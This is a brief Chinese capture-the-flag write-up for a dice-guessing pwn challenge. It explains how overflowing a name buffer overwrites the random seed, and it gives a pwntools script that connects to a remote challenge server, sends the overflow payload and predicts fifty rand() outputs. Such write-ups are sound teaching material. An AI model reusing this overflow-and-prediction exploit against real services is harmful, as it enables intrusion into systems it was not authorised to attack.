check一下,开了NX和PIE
拖进ida,发现只要猜对五十次数字,就能过关!随机数有rand函数根据seed种子预测,我们覆盖了seed种子,就能实现预测随机数。image.png
buf是我们的输入,只要我们的buf再覆盖0x40,我们就可以覆盖到seed
脚本:
#!usr/bin/python
#coding=utf-8
from pwn import *
from ctypes import *
context.log_level = 'debug'
p = remote('111.198.29.45',37435)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a" * 0x40 + p64(0)
p.recvuntil('name:')
p.sendline(payload)
libc.srand(1)
for i in range(50):
num = str(libc.rand()%6+1)
p.recvuntil('point(1~6):')
p.sendline(num)
p.interactive()